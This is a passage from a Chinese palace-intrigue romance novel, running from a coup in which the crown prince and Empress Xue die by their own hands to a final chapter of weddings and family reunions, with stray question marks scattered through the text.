“事到如今,你竟还在?狡辩。”太子厉声道:“薛氏,你不仅毒害孤的母后,更设计让人绑架孤,欲除去?孤,好让三弟取而代?之。只可惜,你的计谋出现差错,被绑架的人从孤变成了?三弟与阿满,更害得阿满的父亲葬身深山。” “欲加之罪何患无辞!”薛皇后语气凄厉,尖甲深深嵌入掌心,“太子,你使?妖计控制了?圣上,如今还要血口?喷人,将先皇后之死嫁祸给本宫吗!” 太子叹道:“孤早知道你不见棺材不会掉泪。” 下一瞬,又有两名中年男子被丢进殿内。他们均衣衫褴褛,手脚戴铐,唯有面?庞干净清晰。 太子问:“闵氏,你还认得他们吗?” 薛皇后快速地扫了?一眼,生硬地道:“本宫不认得他们。” “那便由孤帮你重新认识下他们。”太子道:“左边的这名男子叫刘启,正是你当?年的心腹刘嬷嬷之子。在?你们决意要除去?孤时,刘嬷嬷命亲子传递消息给恭亲王的余孽,意图借他们之手除去?孤。” “而这另一位,便是当?年绑架案的主谋之一,侥幸逃生后,被孤藏匿多年。” 裴长旭的视线落在?那所谓的主谋脸上,这样?熟悉的一张脸,今晨他刚在?大乔送来的画像上见过。虽细节有所出入,但五官相差无几,当?年那双写满杀意的眼眸,而今只剩下畏缩慌张。 刘启在?说话:“皇后娘娘!当?年我娘为您赴汤蹈火,在?所不惜。但您却在?事情出现纰漏后,二话不说便处死了?我娘!幸亏太子殿下帮我假死脱身,我才能活到现在?!” 那主犯也道:“若非刘启主动找到我们,提供了?端王殿下的行踪,我等又怎会顺利地抓到皇子皇孙……” “你们该抓的人是太子!而非旭儿与阿满!”眼看当?年事瞒无可瞒,薛皇后失控喊道:“若非你们办事不力!修弟该好好活着!成为本宫最得力的助手!” 殿内霎时沉寂。 “在?你暗中派人调查恭亲王的余党时,孤便有所察觉。”太子缓缓地道:“是孤调换了?刘嬷嬷的信件。” 薛皇后瘫坐在?地,掩面?痛哭,多年来的懊悔与痛心在?此刻彻底崩溃,“他们该抓的人是你,而不是旭儿与阿满……修弟不该死……他还那么年轻,那么意气风发……” “多行不义必自?毙。”太子转向裴长旭,“三弟,如今你可还有疑问?” 裴长旭神色惝恍,“所以,祖父与舅舅也参与了?此事?” “不!”薛皇后哭道:“祖父与修弟毫不知情!他们在?听说你与阿满被绑架后,便立即率人前去?寻找,修弟更因此断送了?性命!是本宫对?不住修弟,更对?不住阿满,叫她早早便失去?了?父亲……” 所以母后待阿满亲如女,除去?疼爱还有愧疚。 裴长旭双眸猩红,质问敬爱多年的母亲,“母后,您为何要这样?做?” 薛皇后泪眼迷离,“本宫与圣上自?小?相识,若无意外?,本宫该嫁给圣上当?正妃。但闵氏横空出世?,抢走了?属于本宫的位置,本宫便只能退而成了?侧妃,等到圣上继承皇位,人人都夸皇后与圣上恩爱登对?,却无人在?意先来后到,明?明?是本宫先与圣上相知相许!” 裴长旭道:“您当?时是皇贵妃,地位亦尊贵无双,比皇后只差一步之遥!” 薛皇后道:“便是这一步之遥,阻挡了?本宫与圣上的夫妻情,阻挡了?你登上皇位的可能性!本宫不甘心,本宫偏要争一争,为薛家与你争到至高无上的荣耀!” “可我不想要啊母后,我从未想过要继承大统……” “你不懂这江山的美妙。”薛皇后抹去?眼泪,哑声道:“自?你出生后,圣上多次叹你天资聪颖,有君王之风,若非有闵皇后与太子在?前,你必是储君的不二人选。” 裴长旭猛地看向景帝,“父皇当?真?这么说?” “圣上迎娶闵皇后本是为权势所迫,等登上皇位后,却处处受闵氏一族牵制,诸多抱负难以施展……若换成我薛家,只会全?力支持圣上,绝不会叫他闷海愁山。” 裴长旭内心震荡,看看景帝,再看看一脸讥笑的太子。 太子问:“三弟,相信你已经清楚罪魁祸首是谁。” “孤的生身父亲,利用孤的母族势力登上皇位,却在?事后忌惮孤的母族。借用你母后的手,除去?了?孤的母后,贬走孤的舅舅,更试图叫其他儿子对?孤取而代?之……”他搭上景帝的肩膀,亲昵却凄凉,“父皇,您眼中只有江山与权势,可曾想过我也是您的骨肉,是母后满怀爱意为您诞下的孩子?” 景帝眼神清明?,却全?程游离在?这场对?话之外?,“太子雍和粹纯,性行温良,堪为君主。朕欲禅位于太子,往后幽居世?外?,寻仙问道……” “在?父皇眼中,便连九弟也比孤要优秀。”太子语含嘲谑,“只可惜张氏一族与九弟都是狂妄自?大的蠢货,至今也没发现被人牵着走。” 裴长旭哪还有不明?白,“是你设计了?张家,演了?一出扮猪吃虎的好戏。” “孤接到迟卫进京的消息时,迟卫已与史明?搭上线,既然如此,孤倒不妨将计就计。”太子道:“张贵妃与太后向来视孤为眼中钉,认为孤抢了?九弟的太子之位。孤正好顺他们的意,利用迟卫对?广阑王的背叛,以身入局,为张家上演最后的狂欢。” “从始至终,一切都在?你的掌控之中。”裴长旭咬牙,“枉我一直在?父皇面?前为你说好话……却原来,你早与广阑王暗中勾结!” “准确地说,是父皇逼孤与广阑王通力合作。”太子道:“广阑王若倒台,孤的下场可见一斑。但孤不能倒,孤要登上这至高无上的宝座,向父皇与薛氏讨伐罪行,为母后报仇!” “太子!”薛皇后凄声喊:“错的人是本宫,与旭儿他们无关!你要报复便报复本宫一个,不要牵涉无辜!” 裴长旭只觉哀入骨髓。 真?相竟如此不堪吗?是父皇与母后算计闵氏一族在?先,逼得太子破釜沉舟。而他们这些人,被迫成为这场悲剧中的重要角色,从欢喜到愤怒,从愤怒到悲哀,从悲哀到不知所措…… 要怎么做,才能平息这场横跨多年的生死恩怨? 裴长旭朝太子下跪,“我替父皇母后,向兄长真?诚道歉,愿用余生弥补他们的罪行……” 耳旁却传来身躯倒地的声响,侧首望去?,薛皇后已手持匕首,割颈自?刎—— 鲜血喷涌而出,薛皇后躺倒在?地,气若游丝地道:“本宫……以命偿命……放过旭儿……” 太子面?无表情,见裴长旭冲到薛皇后身边,将她抱在?怀里,“母后,您何至于此!来人啊!快来人救救她!救救我的母后!” 薛皇后抬起沾满鲜血的手,轻抚他的面?庞,“是……全?是本宫咎由自?取……求太子放过……放过薛家……” 裴长旭紧紧握住她的手,声泪俱下,“母后,您不能死,您还有我和小?宁,还有阿满……” 薛皇后只重复:“是……是本宫的错……” 最后一丝力气消散,她气息全?无,颓然合上双目。 裴长旭泣声哀求:“母后,求您睁开眼睛看看我,我是旭儿啊!” 他呼喊良久,再得不到任何回应。随后,他愤怒地望向龙案,“父皇!您的妻子死了?!您便没有一点感觉吗!您究竟何时才能清醒!” 景帝皱起眉头,眸中思绪纷杂,不等想明?白,肩膀又被人重重一拍。 太子道:“父皇,该请平章政事宣读圣旨了?。” 景帝无视殿内的血腥混乱,高喊:“叫平章政事进殿宣读圣旨!” 平章政事蒋伟添乃太子的岳父,更是此次宫变的主谋之一。他大步进入广明?殿,路过裴长旭时,笑容难掩得意。 今日一过,薛家将彻底垮台,蒋家会取而代?之,成为名震大周的乔木世?家! 这份得意仅维持片刻,便在?他看清圣旨上的内容时戛然而止,“殿下,这圣旨有问题!” 太子问:“哪里有问题?” 蒋伟添咬牙切齿道:“他上面?写着传位于——传位于——” 太子夺过圣旨,定睛一看,赫然见白纸黑字写着:传位于三子裴、长、旭! 太子肝胆欲裂,拔出侍卫腰间的长剑,直指景帝的咽喉,“父皇,事到如今,您心心念念的仍只有三弟!看来只有孤亲手杀了?三弟,才能断绝您的妄念!” 蒋伟添抚着长须,“殿下,为君王者切忌心慈手软,唯有断绝一切隐患,方?能执掌天下!” “岳父所言极是。”太子阴恻恻地道:“卧榻之侧,岂容他人鼾睡?” 他不再看景帝,提剑走到裴长旭的面?前,“三弟,孤一直都很羡慕你,因你拥有孤梦寐以求的许多东西。父皇的认可、母后的疼爱、小?宁的崇拜、阿满的全?心全?意……你拥有的太多,多到令孤嫉妒。” 裴长旭浑身沾满薛皇后的血,愣怔望着太子,“我从未想过,会与兄长走到这般境地。” “孤却想过千次万次。”太子道:“等你死后,孤会送小?宁前往封地,从此远离京城。至于阿满……孤听说她与恒安侯世?子两情相悦,大可顺水推舟,替他们指门亲事,顺势将恒安侯府收入囊中。” “我们是亲兄弟。”裴长旭喃语:“亲生的兄弟……” “父不父,子不子,这世?道沦丧,唯有权势是真?。”太子冷漠地道:“三弟,怪就怪你我投生皇家。” 说罢,太子毫不犹豫地朝他胸口?刺出一剑,却被裴长旭空手接住。 他紧紧地握住长剑,不顾掌间鲜血淋漓,对?太子一字一顿地道:“我母后已以命偿命,我薛家不再欠你了?。” 太子皱眉,使?劲拔出长剑,正待命人擒住裴长旭时,殿门被人大力踹开—— 老恒安侯身着盔甲,手提长剑,剑尖沾满鲜血。他身后跟着一群士兵,个个兵盔带血,杀意涌动。 “圣上,端王殿下!”老恒安侯声如洪钟,“请恕本侯救驾来迟!” 蒋伟添倒吸一口?凉气,他分明?调查过往事,确认老恒安侯与薛家两代?都不对?付,不会参与此次争斗,才谋划了?今日的逼宫! 太子也有一瞬的难以置信,随即步步后退,自?嘲笑道:“孤终是小?看了?你……” 老恒安侯率人进入大殿,顷刻便包围了?所有人。霎时间局面?翻转,太子、平章政事等人成为待宰的羔羊。 又有一抹年轻的身影踱步走出,修挺风流,声音清朗,“锦衣卫使?与禁卫八军勾结太子,引兵围堵皇城,不仅迫害皇后,更意图谋害端王,谋权篡位……” 周遭喧嚷,是恒安侯身后的士兵们在?齐声呐喊:“诛杀叛党!捉拿太子!安邦定国!” 叛党? 是了?,胜者为王,败者为寇。谁输了?,谁便是得而诛之的叛党。 太子回首看向景帝,凄怆道:“父皇,若有来世?,儿臣绝不做您的孩子。” 话音落下,他便举剑自?刎,与薛皇后般果断地结束了?自?己?的生命。 鲜血在?地砖上铺开大朵大朵的花,景帝伸出双手,茫然若失;裴长旭踉跄着走到他面?前,拉着他的手腕,逼他迎向地上失去?生命的两人。 裴长旭一遍又一遍地道:“父皇,您看清楚了?,这是您的妻子和孩子,他们是您的妻子和孩子啊……” * 恒安侯与薛科诚里应外?合,将太子党彻底肃清了?一遍。许清桉则协助裴长旭处理相关事务,熬到翌日清晨,才有时间坐下来对?话。 许清桉问:“殿下打算如何处置叛党?” 裴长旭坐在?案后,神色沉静,再无昨日悲戚,“除去?太子的子嗣,其余人全?部处死。” 许清桉又道:“听说殿下已处死了?昨日在?广明?殿中的所有人?” 裴长旭简短地道:“是。” 许清桉不置可否,“经昨日一事,圣上大受刺激,言行混乱,叫嚷着要请妖道救命。” 裴长旭问:“那妖道现在?何处?” 许清桉道:“昨日下官在?宫中搜捕时,见那妖道慌不择路地跳进湖中,然而派人打捞到今晨,却找不到那妖道的行踪。” 裴长旭道:“他凭空消失了??” 许清桉道:“兴许是凭空消失,又兴许是湖下有暗道通往其他地方?……总之,找不到他,圣上的病情便无法好转。” “父皇老了?。”裴长旭敛眸,淡声道:“且已立下诏书,即日便禅位于本王。” “那下官提前恭贺殿下继天立极,高掌远跖,开辟大周新盛。”许清桉顿道:“殿下可还记得在?驿站中与下官的约定?” 裴长旭绷紧下颚,不言不语。是,他答应事成后会放弃婚约,成全?阿满与许清桉,然而事到临头,却又心生悔意。一日之内,他接连失去?至亲,连阿满也要拱手让人吗? 见状,许清桉道:“昨日,臣也收到了?来自?云县的一副画像。” “……”裴长旭猛地抬眸。 “巧得很,画像上的人貌,与昨日广明?殿中的一名男子如出一辙。” “……”裴长旭喉结一滚。 “听阿满说,那名男子曾绑架殿下与她,又侥幸偷生至今。只是不知,他怎会在?太子手中,又怎会被带进广明?殿里?” “……” “广阑王在?林中时曾对?阿满说,当?年被绑的本该另有其人,而非殿下与阿满。他还声称人心不足蛇吞象,阿满父亲的逝去?,皆由薛氏一族的贪婪而起。” 某些被极力掩埋的真?相,在?他的拼凑中呼之欲出。 裴长旭豁然起身,左手上的绷带隐沁血迹,“许清桉,你住口?!” “下官说完该说的话,自?然会住口?。”许清桉回视他阴戾的目光,“在?阿满眼中,薛皇后温柔慈悲,是母亲一般的存在?。” 裴长旭撑着案几才能站稳,又听他道:“薛皇后已经毁了?阿满前半生的幸福,殿下呢,要继续毁掉阿满将来的幸福吗?” 裴长旭闭上眼,挣扎许久后道:“阿满……阿满不能知道实情……” “下官与殿下一样?,都希望阿满无忧无虑。”许清桉道:“请殿下遵守约定,成全?下官与阿满的婚事。” 旭日升起时,许清桉离开御书房,穿过太清门,走出高大的皇城。 他袖中藏着沉甸甸的一道圣旨,圣旨承载着他与阿满光明?的未来,如这天际遍布的霞彩,令人神醉心往的未来。 视线内出现一辆马车,马车里跳下一人,提着裙摆朝他飞奔。 许清桉露出笑容,同样?迈步向她,结实地将她抱个满怀。 薛满仰起脸,眸若盈盈秋水,“许清桉,你们赢了?,对?吗?” 许清桉道:“不,是我们赢了?。” 薛满欲追问细节,许清桉没给她机会,在?湛蓝无垠的天空下,吻住他心爱的未婚妻—— 从今往后,他们都不会再孤单。 【终章】 第95章 第 95 章 春去秋来, 眨眼?便是?一年。 这?一年里,大周发生?了几件震惊朝野的大事。 其一:兰塬之主广阑王里通外国,走私贩私, 罪证确凿。 其二:广阑王的亲外甥,也就是?前太子裴长泽与其勾连, 不仅多次通风报信,更?在事情败露后杀人?灭口。 其三:裴长泽未免夜长梦多, 在岳丈蒋伟添的怂恿下?, 命妖道迷惑控制了景帝,试图谋权篡位。幸有端王裴长旭力挽狂澜,联合恒安侯府等多方势力将太子党悉数镇压。遗憾的是?,端王的生?母薛皇后在宫变中意外仙逝, 景帝为此?大受打击, 将皇位禅于三子端王。 这?几件是?国家大事,再往后还有关于新帝的两则趣闻。 众所周知, 当年的端王与亲表妹薛家小姐定有婚约,哪知在成亲前夕,薛小姐身染重病, 婚约无奈推迟。 薛小姐重病时, 是?个人?都看得?出?端王待她情深义重。本以为端王成功继位,薛小姐也病愈如初,新后的人?选板上钉钉时, 新帝竟然下?了两道圣旨。 第一道圣旨:新帝与薛小姐的婚约就此?作罢。 第二道圣旨:新帝赐婚薛小姐与恒安侯世子许清桉。 哦豁,这?甚至比皇帝换人?当都叫百姓津津乐道! 有好?事者猜测:“据说新帝能顺利继位, 其中少不了恒安侯府的功劳, 莫非是?他们暗中做了交易?”比如用功勋换婚约之类的。 便有人?反驳:“无稽之谈,从龙之功与薛家女, 傻子也知道该选哪个。” “要我说,当年新帝与薛家女的婚事便非出?自本心,约莫是?看在薛皇太后的面子上才无奈应承。如今薛皇太后仙逝,再无人?能约束新帝,是?以,继位后的第一道圣旨便是?解除婚约。又因是?亲表兄妹的关系,不好?随便嫁给旁人?,便指给了又立大功的恒安侯府。” 这?番说法合情合理,立即博得?旁人?赞同。 “这?么说来,薛小姐亦是?可怜人?,到手的皇后之位飞了,婚事还被?推来推去。” “倒也未必,我听说那恒安侯世子貌似潘安,风度绝佳,深得?新帝看重,往后前途无量。” “当真有那么优秀?” “再过半月便是?恒安侯世子与薛小姐的大婚,届时他会打马上街,绕城半圈,我们不妨去亲眼?瞧瞧他的风采。 ” “我还有一个疑问。” “什么疑问?” “成亲那日,圣上会出?席吗?” “你想什么呢?寻常人?家,尚且不会出?席前未婚妻的婚礼,何况是?当今新帝……” 不提百姓们的各种?揣测,当事人?薛满正由合宜公主裴唯宁作陪,在有璟阁中挑选饰品。 “这?个,那个,还有那个……”裴唯宁坐在案前,略扫一眼?道:“除去这?三样不要,其他全部包起来送去薛府。” 谭管事笑道:“好?,天黑前保证送到。” 裴唯宁又吩咐侍女去付银子,谭管事忙摆手,“不用不用,既是?给薛小姐的东西,一分钱都不用付。” “我知晓她是?你未来的主家夫人?,但你主子是?你主子,我是?我。”裴唯宁道:“我要送阿满礼物,可不能承你主子的人?情。” 谭管事便看向薛家小姐,见?后者点头后才道:“那便有劳姑娘随我到外边付账。” 侍女跟着谭管事离开后,裴唯宁看向对面的薛满。她正小口地喝茶,长睫浓密,肤白细腻,出?落得?愈加娇美。 裴唯宁忍不住伸手,在她脸颊上轻抚一把,“还有半月便要成亲了,你心中有何感想?” 薛满眼?神闪烁,心想正式成亲后,许清桉可算有了名分,不用早出?晚归,偷偷摸摸地进?出?薛府了……嘴上却?道:“没什么特殊感想,成亲后我也是?两只眼?睛一张嘴,不会变成怪物。” 裴唯宁酸溜溜地道:“往后你便不是?薛小姐,而是?许清桉的妻子,许少夫人?了。” 薛满道:“一个称呼而已?。” “却?也代表了许多。”裴唯宁道:“往后我去找你,还得?先经?过恒安侯府的通传,想想就觉得?别扭。” “放心,许清桉答应我了,成完亲会陪我回薛府常住。” “老恒安侯肯答应?” “不答应又如何?” “也是?,许清桉的翅膀越来越硬,莫说老恒安侯,便连三哥也常拿他没辙。”裴唯宁揶揄:“只不过外强中干,一遇到你,便百依百顺,是?个彻头彻尾的妻管严。” 呵,那是你没见到他胡搅蛮缠的时候。 薛满腹诽:每到夜里,某人?便像换了芯子,无论她怎么求饶,他都要换着法子折腾她。本以为一开始是?新鲜,日子久了便能疏朗些,哪晓得?一年过去,许清桉乐此?不疲,甚至还有变本加厉的趋势。 等到婚后,两人名正言顺地共处一室,她还有清静日子过吗? 薛满摁上酸疼的后腰,唉声叹气:这?时候悔婚,也不知有没有人?能理解她。 门外明荟道:“小姐,世子的马车到楼下?了。” 薛满慢吞吞地抬眸,“哦,知道了。” 裴唯宁道:“我也该回公主府了,走吧,一起下?楼。” 姐妹俩一起下?楼,正好?遇见?进?门的许清桉。他长身玉立,风采高雅,朝裴唯宁轻微颔首,“公主。” 裴唯宁也客气地道:“许侍郎。” 是?的,没错,许清桉如今不再是大理寺少卿,而是?户部左侍郎兼任军机大臣,实打实的朝堂香饽饽。 简略地打过招呼后,许清桉朝薛满道:“阿满,走吧。” 当着众人?面,他并?不避讳地牵住未婚妻,并?肩往马车走去。 风吹来他的低语,“今日风景好?,我特意休了半天假,带你去银月湖钓鱼。” 薛满抗议:“每回都钓不到鱼,我不想再去了。” 许清桉道:“正是?钓不到才更?要钓,走吧,我继续手把手教你。” 裴唯宁目送他们离去,不由啧啧称羡。这?一年来,她是?亲眼?见?证了这?对小情侣的感情,简直比话本里描写的还要甜蜜。只可怜她的三哥,一个人?高坐龙椅,孤单冷清得?很哟…… 有人?在后头喊:“公主。” 裴唯宁回神,见?到不远处的伟岸青年。面容虽俊朗,左眼?角却?爬着一道半指长的疤痕,稍稍显得?可怖。 裴唯宁露出?喜色,“林何举,你怎么来了?” “闲着无事,属下?便来接公主回府。” “京畿营不忙吗?” “还好?,除去操练也无其他事。” “那你陪我一起走走?” “都听公主的。” 两人?沿着大街闲逛,裴唯宁时不时看向他的侧脸,神色难掩愧疚。当初因为她的冲动,害得?林何举被?关进?慎刑司,吃了不少苦头。虽然事后她尽力弥补,更?求三哥将林何举调入京畿营做事,但林何举的脸却?永远破相,在婚事上处处受挫。 “林何举,你怪我吗?”她问。 林何举认真道:“公主是?属下?的主子,属下?永远都不会怪公主。” 裴唯宁道:“你如今是?京畿营的校尉,不再是?我的护卫,无须对我毕恭毕敬。” 林何举道:“不管属下?去哪,公主都是?属下?的主子,一辈子不会变。” 哎呀,这?家伙永远都是?这?么捧场。 裴唯宁心里涌上一股甜意,状似无意地道:“我听说,你最近的婚事不大顺利?” 林何举有些不好?意思,“是?,让公主见?笑了。” 裴唯宁道:“这?有什么好?笑的?我与你一样,婚事总不顺利,都十八了还未定亲。皇兄甚至恼了,说我要是?继续挑剔,便将我丢到北疆和亲!” 林何举皱起浓眉,又听她自言自语:“皇兄说得?不对,哪能是?我挑剔呢?分明是?那些驸马的人?选稀奇古怪,没一个能进?我的眼?。与其选他们,我倒不如选你,至少知根知底。” 林何举彻底傻了,站在原地无法动弹。 裴唯宁歪头看着他,“林何举,我觉得?这?法子很好?,你意下?如何?” 林何举半晌说不出?话,唯有红透的耳根展露出?真实心意。 * 银月湖上正游着一艘精致的双层画舫,一楼甲板上架着几根鱼竿,奴仆们正在专心钓鱼,而本该钓鱼的未婚夫妻,正在二楼的舱室内纠缠不休。 柔软的外衣被?胡乱丢在地上,红柳木长榻正吱呀吱呀地叫唤。 他拥她坐着。 他衣襟大敞,露出?精壮的胸膛,低头吻住怀中衣衫不整的薛满。薛满眸中雾气弥漫,攀住他的肩膀不住喘气,此?起彼伏的欢愉袭来,如浪潮般逼迫、追赶、吞噬着她。 “停、停、停一下?……”她指尖紧掐,哀求似的开口。 许清桉置若罔闻,在她的肩颈处流连亲吻,时重时轻地动着,“还喜欢钓鱼吗?” “不钓了,再也不钓了。”她带着哭腔,脸红得?不成样子,“我早说不钓了,是?你非要……你非要来的……” “不来,怎么能替掉从前的记忆?” 他轻轻掐腰,便将她放到被?褥间,从背后覆上去,以更?亲密的姿势抱她,“你说,是?谁钓鱼的本事更?厉害?” 薛满试图反抗,奈何力道微弱,只换来略带恶意的作弄。 他一根根缠上她的手指,邪佞又肆意,“阿满,反抗是?要付出?代价的。” 代价是?薛满体力不支,没到终点便昏过去了。 醒来时,她穿戴整齐,他也人?模人?样,正侧搂着她,顺便把玩她的手指。 唯有满室旖旎昭示着方才的荒唐。 薛满狠狠挥开他的手,怒不可遏,“许清桉,你太过分了!” 许清桉一脸无辜,“我们马上要成亲了。” “不说马上成亲,便是?成亲后也不能这?样!”薛满坐起身,握拳捶向他的胸膛,“你年纪轻轻,该将精力放到朝堂正事上,怎能……怎能……日日耽于房中!” “我也不想。”许清桉叹息,“但我一见?到你就忍不住。” “这?是?你的问题。”薛满强调,“你必须改掉!” “嗯哼。” “嗯哼是?什么意思?” 许清桉捉住她的手,递到唇边亲吻,生?硬地转移话题,“前几日,宁州传来消息,称一切都安排妥当。” “茹楠和茹嘉已?经?到了?”薛满果然中招,“她们还好?吗,路上有没有生?病?” “一切都好?,仆从照顾得?很仔细。” “茹楠有没有问起她的爹娘?” “没问。”许清桉道:“她虽然小,却?非少不更?事。一年前的动静那么大,她心里多少有数。” 薛满语气黯然,“最终,一切都没躲过去。” 姑父疯了,姑母过世,太子党全数被?歼灭,唯有茹楠、茹嘉得?以幸存。裴长旭本打算将她们送到宁古塔永生?囚禁,是?在薛满的再三哀求下?,才改变主意,将她们送去宁州生?活。 宁州虽远离京城,总比苦寒的宁古塔要好?上千百倍。 却?也不能责怪裴长旭,毕竟她们是?前太子的血脉,前太子谋逆失败,能留她们性命已?是?新帝的慈悲。 “好?了,无须为她们担心,我会暗中派人?保护她们。”许清桉道:“你的朋友们几时到京城?” 薛满道:“何湘与宝姝都是?明日的船到荣帆码头,我准备亲自去接她们。” 许清桉道:“我休个假,明日陪你一起去。” 薛满道:“你今日休假,明日也休假,三哥不骂你吗?” 许清桉道:“我日夜辛劳,帮他处理国事,偶尔休个假又如何?” 这?一年来,许清桉从情敌晋升为裴长旭的左膀右臂,两人?关系和睦,再不见?张牙舞爪。 这?是?薛满乐意见?到的局面,毕竟一个是?夫婿,一个是?兄长,手心手背都是?肉。 “不怪你就好?。”薛满道:“那明早我等你来接。” “来来去去多麻烦,我今晚直接留宿薛府。” “……”薛满摇头拒绝:“不可以!” “为何不可以?” “不可以就是?不可以!” “你最好?说出?个所以然,否则……”许清桉捏住她的耳垂来回摩挲,“天黑前别想离开画舫。” * 最后到底是?留宿在了薛府。 一早上,明荟等人?便隔门听见?小姐的嗔怒声,似乎是?未来姑爷又缠着她要做甚。 明荟等人?暗暗发笑,对此?习以为常。这?位新姑爷对外人?矜冷,对小姐却?缠得?紧,有空便得?黏在小姐身边。小姐嘴里恼,样子却?一日比一日的美,可见?是?打心底的喜爱世子。 折腾许久,许清桉替薛满点好?口脂,轻轻往上一啄,“夫人?真是?美极。” 薛满扭脸,“叫早了,我还不是?你夫人?呢。” 许清桉道:“时辰还早,我想去床上再休息会儿。” 说着便要横抱起薛满。 薛满忙道:“叫叫叫,你随便叫,想叫什么便叫什么!” 许清桉从背后搂着她,她从镜子里看他,问:“伯母有消息了吗?” 伯母自然是?指许清桉的娘亲,薛满知道,他私下?一直在寻找她的踪迹。 许清桉道:“暂未。” 薛满道:“要不,我们再将婚礼延迟些?” 许清桉道:“我已?将要成亲的消息传遍大周,娘亲若是?有心,定会赶来参加婚礼。至于推迟婚礼,你想都不用想。” 薛满讪讪道:“我随口一提罢了。” “提都不许提。”宫里那位抵死不肯选秀,谁提便降谁的职,心思昭然若揭,他是?疯了才会给可乘之机。 两人?收拾妥当后出?门,赶到荣帆码头。 薛满头戴幕篱,站在码头前,想起两年前的某一天,她便是?从这?出?发,开启人?生?的新篇章。 她颇为感慨,“一晃便是?两年。” “将来还有许许多多的两年。”许清桉道:“我会陪着你。” 薛满掀开薄纱,朝他甜甜一笑,“那便有劳许侍郎了。” 一艘轮船靠岸,旅人?们陆续下?船。薛满踮脚张望,忽然定在某处,挥手高喊:“何湘!孟超!” 来人?正是?许久未见?的何湘与孟超。 他们在去年夏天成亲,如今已?是?孟家夫妇,孟超刚升为衙门捕头,何湘也没有放弃医馆,继续救死扶伤。 自分别来,何湘与薛满没断过联系,得?知她要与许清桉成婚后,两夫妻更?是?亲自赶来京城祝贺。 双方互相打量,何湘见?薛满娇艳欲滴,薛满见?何湘容光焕发,无须细问,也知对方生?活顺遂。 两人?挽着手到一旁说话,许清桉便与孟超寒暄几句。太医院在半年前研制出?能阻抑蒂棠茚毒性的药方,又经?过不懈努力,救治了许多深受其害的病患。据孟超说,韩志杰也成功戒掉蒂棠茚,可惜天生?体虚,仍旧弱不胜衣。 到了下?午,薛满又接到千里迢迢赶来的宝姝与安元驹。刚碰面,便被?宝姝吓了一跳。 宝姝竟然挺着个孕肚! 薛满问:“宝姝,你何时与安元驹成的亲,怎么没跟我提起?” 宝姝依旧快言快语,“谁说成了亲才能要孩子?” 薛满道:“你们没成亲?你哥哥他也许?” 宝姝俏皮地皱鼻,“肚子长在我身上,我想生?就生?,不想生?就不生?。” 薛满再次感叹宝姝的鲜活恣意,转头看安元驹,他护着怀孕的宝姝忙前忙后,一副甘之如饴的模样。 她小声感慨:“看来不成婚也挺好?。” 许清桉耳尖,淡横她一眼?,决意今晚给她点颜色瞧瞧。 众人?热热闹闹地往外走,许清桉往人?群里随意看了一眼?,不知看见?什么,脚步猛然顿住。 “阿满。”他声音发紧,“我有些事,暂时走开一会儿,你先去马车里等我。” 薛满不疑有他,领着宝姝、安元驹去马车里等候,然而过去很久,也没等到许清桉回来。 她干脆下?车寻找,转了一大圈,没找到许清桉,倒见?到一位出?乎意料的故人?。 “佟姨!” 佟蓉与两年前的变化不大,依旧素色长裙,温和可亲。她望向呼喊自己的华服女子,年纪轻轻,贵气美丽。 “你是??” “我是?巧燕,杨巧燕!” 佟蓉稍加思索,便记起杨巧燕其人?,然而记忆中的巧燕可不长这?样。 薛满生?怕她不信,将当初在船上的相处详细道来,不好?意思地道:“我怕遇到坏人?,便故意扮丑出?门。” 佟蓉笑道:“我知晓你有伪装,只是?没想到,真容竟然这?样惊艳。” 她言语真诚,关切起薛满分别后的生?活,得?知薛满即将成婚时,从包袱内取出?一枚银镯,“事先不知晓你的喜事,没有准备好?礼物,若是?不介意,你便收下?它?吧。” 韩夫人?也送过薛满镯子,薛满出?于种?种?原因不肯收。面对佟蓉的好?意时,她却?没有推拒,将银镯戴上手腕,笑吟吟地道:“谢谢佟姨,您待我真好?。” 佟蓉真心喜欢面前落落大方的女孩儿,况且两人?又如此?有缘,“等改日你的孩子出?生?,我再给你绣些娃娃衣裳可好??” “还早着呢,不急。”薛满赧然,“对了,您的头疾好?些了吗?” 佟蓉道:“我运气好?,在甘埠找到了神医吴凡,经?过一年多的治疗,头疾大有好?转。” “那您此?次来京城是??” “我儿在京城。”佟蓉欣慰又伤感,“我已?经?十几年未见?他,前些日子听闻,他即将成亲娶妻,便想着来偷偷见?他一面。” 偷偷? 薛满早揣测那儿子是?不忠不孝之辈,闻言哼道:“儿子成亲,连亲娘都没邀请,真是?搞笑。” 佟蓉欲解释,薛满不肯听,义正词严地道:“佟姨,您跟我说,您儿子姓甚名谁,家住何方?我定要为您讨个公道,叫他堂堂正正地迎您坐到主位。” 佟蓉笑着婉拒,薛满便道:“那等我成亲时,给您安排个好?位置,您可一定得?来参加。” 佟蓉慨然允诺,“不知你嫁的是?哪户人?家?” 薛满道:“我嫁的是?恒安侯府。” 佟蓉愣住。 薛满道:“我未婚夫姓许,是?恒安侯府的世子。” 佟蓉睁大眼?睛。 薛满往她身后一指,笑颜灿烂,“喏,他正好?来了。” 佟蓉缓慢地转身,对上一张貌似潘安的俊颜。 对方红透眼?眶,千言万语,汇成一个短短的字,“娘——” …… 恒安侯府双喜临门,不仅世子要娶妻,世子的亲娘也首次露面,封诰命,入祠堂,正式载进?族谱。 纵有流言蜚语,也没法影响许清桉的意气风发。 原来他的阿满早就见?过娘亲,甚至与娘亲一见?如故。兜兜转转几百个日夜,他抱得?佳人?归,也成功迎娘亲进?侯府。 他成亲时,娘亲会坐在上首,接受他与阿满的敬茶。 他做到了生?父没做到的事情。 薛满亦是?惊喜交加,翻出?前世子的遗物,转交给它?真正的主人?。 佟蓉接过匣子,双手轻微颤抖,在读过书信后,更?是?潸然泪下?。 “他,死时都不知晓我们有个孩子……” 薛满挽着她的手臂,“不,伯父在天有灵,定能看到许清桉的优秀,感念您为他做的一切。” 婆媳俩本就一见?如故,而今更?是?亲近有加,这?画面落到老恒安侯的眼?里,不知有多郁结。 但他毫无办法。 臭小子前夜找到他,称若不将渔女记进?许家族谱,他不介意由迎娶阿满,改为入赘薛家。 入赘?薛家?开什么玩笑! 老恒安侯迫于无奈,只得?答应许清桉的要求,并?警告府中上下?,若谁敢怠慢渔女,直接扫地出?门! 一眨眼?便到了成亲之日。 当天一早,恒安侯府敲锣打鼓,礼炮喧天。许清桉一身圆领婚袍,头戴官帽,风姿好?比琼林玉树。 他骑着高头骏马,领着浩浩荡荡的迎亲队伍游街,所到之处人?头攒动,热闹非凡。 好?不容易到了薛府门前,许清桉下?马,正要进?门迎亲,忽听内侍喊道:“皇上驾到!” 